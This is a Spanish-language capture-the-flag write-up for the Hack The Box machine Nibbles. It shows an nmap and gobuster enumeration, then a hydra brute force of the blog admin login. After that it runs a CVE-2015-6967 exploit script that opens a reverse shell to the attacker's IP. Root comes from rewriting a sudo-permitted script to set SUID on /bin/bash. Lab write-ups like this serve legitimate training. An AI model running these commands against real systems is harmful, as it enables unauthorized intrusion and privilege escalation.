Entrada

Nibbles - WriteUp

🎯 Machine Info

Machine Nibbles
Platform HTB
OS Linux
Difficulty Easy

Nibbles




NIBBLES


NMAP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# Nmap 7.94SVN scan initiated Tue Jan 30 11:07:44 2024 as: nmap -sCV -p 22,80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap
.xsl -oN targeted -oX targetedXML 10.129.4.29
Nmap scan report for 10.129.4.29
Host is up (0.042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA)
|   256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA)
|_  256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jan 30 11:07:53 2024 -- 1 IP address (1 host up) scanned in 8.76 seconds

HTTP

NIBBLES

Si examinamos el código fuente nos muestra una ruta oculta.

NIBBLES

Vamos a ver qué contiene.

NIBBLES

Si pulsamos en las categorías vemos esto en su URL

1
2
3
4
URLs
http://10.129.4.29/nibbleblog/index.php?controller=blog&action=view&category=uncategorised
http://10.129.4.29/nibbleblog/index.php?controller=blog&action=view&category=music
http://10.129.4.29/nibbleblog/index.php?controller=blog&action=view&category=videos

FUZZING

1
$ gobuster dir -u http://10.129.4.29/nibbleblog -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php

NIBBLES

Encontramos varias rutas interesantes.

NIBBLES

Tenemos la versión.

Panel de login.

NIBBLES

Hacemos un diccionario de posibles contraseñas con cewl:

1
$ cewl -m 5 --lowercase -w ./passwords.txt http://10.129.4.29/nibbleblog

Lo hacemos del /README también e incluyendo mayúsculas pero después de varias pruebas este es el bueno.

1
$ hydra -l admin -P ./passwords.txt 10.129.4.29 http-post-form "/nibbleblog/admin.php:username=^USER^&password=^PASS^:Incorrect username or password."

NIBBLES

Después de la fuerza bruta el servidor nos banea y no podemos probar todas las contraseñas por lo que reiniciamos el servidor.

NIBBLES

NUEVA IP 10.129.4.38

Damos con la combinación ganadora:

1
admin:nibbles

NIBBLES

Encontramos este script para la explotación inicial y obtener la reverse shell:

1
https://github.com/EchoSl0w/CVE/blob/main/2015/cve-2015-6967.py

Nos ponemos en escucha con NetCat o en mi caso, haré uso de penelope:

Nos bajamos el exploit y lo ejecutamos de la siguiente manera:

1
$ python3 cve-2015-6967.py --url http://10.129.4.38/nibbleblog/ --ip 10.10.14.115 -u admin -p nibbles

NIBBLES

ESCALADA

1
2
3
4
5
6
$ sudo -l
Matching Defaults entries for nibbler on Nibbles:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User nibbler may run the following commands on Nibbles:
    (root) NOPASSWD: /home/nibbler/personal/stuff/monitor.sh

Podemos ejecutar un script llamado monitor.sh

Pero no existe, por tanto lo crearemos en la misma ruta que apunta el script y creando las carpetas necesarias con el siguiente contenido:

1
2
#!/bin/bash
chmod u+s /bin/bash

Lo guardamos, le damos permisos de ejecución y lo ejecutamos:

1
$ sudo /home/nibbler/personal/stuff/monitor.sh

Ahora ejecutamos la bash con permisos privilegiados y escalamos a root:

1
2
3
nibbler@Nibbles:~$ /bin/bash -p
bash-4.3# whoami
root

Para mirar post explotación:

1
2
3
4
5
https://github.com/nirajmaharz/Hackthebox-nibbles-exploit

https://systemweakness.com/a-look-at-cve-2015-6967-fe9a990d57a1

https://github.com/EchoSl0w/CVE/blob/main/2015/cve-2015-6967.py

Última actualización: 2024-11-01
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0

Esta entrada está licenciada bajo CC BY 4.0 por el autor.